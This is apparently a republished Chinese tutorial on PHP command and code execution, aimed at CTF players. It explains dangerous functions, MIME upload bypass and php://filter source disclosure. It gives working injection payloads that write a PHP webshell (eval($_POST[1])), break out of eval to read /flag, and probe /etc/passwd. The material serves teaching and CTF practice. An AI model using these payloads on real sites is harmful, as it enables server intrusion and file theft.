新闻详情

新闻详情

首页 / 资讯中心 / 详情

命令执行与代码执行

发布时间:2026/9/6 16:21:05来源:尧图网络
命令执行与代码执行
一、 命令执行与代码执行的区别命令执行 (RCE)调用操作系统的命令如ls,cat,whoami。代码执行执行当前语言本身的代码如 PHP 的函数、变量、逻辑。注代码执行往往可以衍生出命令执行如 PHP 代码执行了system(cat /flag)。二、 危险函数与语法速查1. 反引号 —— 命令替换作用将反引号内的字符串交给系统 Shell 执行并将输出结果返回。等价于PHP 中的shell_exec()Shell 中的$()。示例$output cat /etc/passwd;防御绝不全拼用户输入使用escapeshellarg()/escapeshellcmd()。2.eval()—— 代码注入之王作用将传入的字符串当作 PHP 代码执行。名言Eval is evil。危险点只要字符串中包含可控变量就能注入任意代码。防御坚决不用eval处理不可信数据使用call_user_func或映射表替代动态调用。3.file_put_contents()—— 一次性写文件语法file_put_contents(文件名, 写入内容, 标志位, 上下文)常用标志位FILE_APPEND(追加写入) |LOCK_EX(排他锁防并发冲突)。特性等于fopenfwritefclose的封装目录不存在会报错不会自动创建。4.include()—— 文件包含作用读取指定文件内容并将其作为 PHP 代码执行。核心漏洞include($_GET[file])导致任意文件包含 (LFI/RFI)。特性无论包含什么格式的文件.jpg,.txt,.log只要里面包含?php ... ?都会被当作 PHP 执行。三、 核心攻击手法 (CTF 必考)手法 1MIME 类型绕过 (文件上传)场景后端仅检查 HTTP 请求中的Content-Type是否为图片。标准 MIME.php对应application/x-httpd-php。绕过抓包将上传.php文件的Content-Type伪造为image/jpeg或image/png骗过服务端检查但文件仍被解析为脚本。手法 2PHP 伪协议读取源码 (文件包含配合)场景include(flag.php)不会显示代码只会执行变量赋值。Payload?filephp://filter/readconvert.base64-encode/resourceflag.php效果include读取flag.php源码并以 Base64 编码输出解码即可看到明文源码绕过执行。手法 3敏感文件探测黄金标准Linux/etc/passwd(验证命令执行/LFI是否存在)、/flag或/flag.txt(常见 Flag 位置)。WindowsC:\Windows\System32\drivers\etc\hosts。四、 代码注入核心思路顺应语法 vs 闭合逃逸当可控变量被强行拼接进某个函数内部时如eval(func(.$_GET[c].);)有两种解题思路思路 A顺应语法 (利用函数本身特性)不破坏外层函数的结构将恶意代码作为合法参数传入。场景 1eval(file_put_contents(.$code.););传入codeshell.php,?php eval($_POST[1]);?执行file_put_contents(shell.php,?php eval($_POST[1]);?);(直接写马)场景 2eval(include(.$code.););传入codephp://filter/readconvert.base64-encode/resourceflag.php执行include(php://filter/...);(利用伪协议读源码)思路 B闭合逃逸 (降维打击无视外层函数)强行闭合掉外层函数注释掉多余代码执行我们自己的代码。万能 Payload 模板1);恶意代码;//场景eval(include(.$code.););传入code1);echo file_get_contents(/flag);//执行include(1);echo file_get_contents(/flag);//);解析include(1);报 Warning 但不致命 - 执行echo file_get_contents读 Flag -//注释掉后面的垃圾代码。五、 踩坑与调试技巧 (避坑指南)1.Use of undefined constant报错原因字符串没有加引号。例如include(shell.php)PHP 把shell当成常量找。解决确保拼接后的代码里字符串有引号。传入参数时要把引号带进去codeshell.php。2. URL 特殊字符编码原因在 GET 请求中单引号、空格、尖括号容易解析错误或被 WAF 拦截。解决使用 Hackbar 或 Burp 时确保对 Payload 进行 URL 编码如变%27空格变%20。3. 终极调试法eval换echo做法当不确定自己传参后 PHP 到底执行了什么把题目源码里的eval换成echo。效果网页会直接打印出拼接后的完整字符串语法错误、引号缺失一目了然。
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

一张照片三次点击,免费实时换脸:Deep-Live-Cam 从安装到上手完整指南 2026/9/6 16:18:50

一张照片三次点击,免费实时换脸:Deep-Live-Cam 从安装到上手完整指南

一张照片三次点击,免费实时换脸:Deep-Live-Cam 从安装到上手完整指南 【免费下载链接】Deep-Live-Cam real time face swap and one-click video deepfake with only a single image 项目地址: https://gitcode.com/GitHub_Trending/de/Deep-Live-Cam …

阅读更多 →
OTC机器人维护保养标准全解析:从换油到电气系统实操指南 2026/9/6 16:18:50

OTC机器人维护保养标准全解析:从换油到电气系统实操指南

简介:OTC机器人维护保养标准是一份面向工业自动化设备管理、维修保养人员及企业设备主管的实操型PDF文档,旨在解决机器人日常点检不规范、定期保养周期不清、编码器电池更换操作不当等问题。文档完整覆盖电源开启前后检查、风扇清理与电缆连接确认、现场…

阅读更多 →
ChartDB快速上手指南:一条Smart Query如何把8种主流数据库变成可视化ER图 2026/9/6 16:18:50

ChartDB快速上手指南:一条Smart Query如何把8种主流数据库变成可视化ER图

ChartDB快速上手指南:一条Smart Query如何把8种主流数据库变成可视化ER图 【免费下载链接】chartdb Database diagrams editor that allows you to visualize and design your DB with a single query. 项目地址: https://gitcode.com/GitHub_Trending/ch/chartdb…

阅读更多 →
Sunshine:免费把 PC 游戏串流到电视的完整指南 2026/9/6 16:18:50

Sunshine:免费把 PC 游戏串流到电视的完整指南

Sunshine:免费把 PC 游戏串流到电视的完整指南 【免费下载链接】Sunshine Self-hosted game stream host for Moonlight. 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine Sunshine 是一款免费开源的游戏串流服务器,负责在你自己的电…

阅读更多 →
IOPaint 上手指南:5 分钟在本地跑起免费的 AI 图像修复与对象移除 2026/9/6 16:18:50

IOPaint 上手指南:5 分钟在本地跑起免费的 AI 图像修复与对象移除

IOPaint 上手指南:5 分钟在本地跑起免费的 AI 图像修复与对象移除 【免费下载链接】IOPaint Image inpainting tool powered by SOTA AI Model. Remove any unwanted object, defect, people from your pictures or erase and replace(powered by stable diffusion)…

阅读更多 →
Video2X快速上手:10分钟放大老视频并插帧 2026/9/6 16:15:50

Video2X快速上手:10分钟放大老视频并插帧

Video2X快速上手:10分钟放大老视频并插帧 【免费下载链接】video2x A machine learning-based video super resolution and frame interpolation framework. Est. Hack the Valley II, 2018. 项目地址: https://gitcode.com/GitHub_Trending/vi/video2x Vide…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞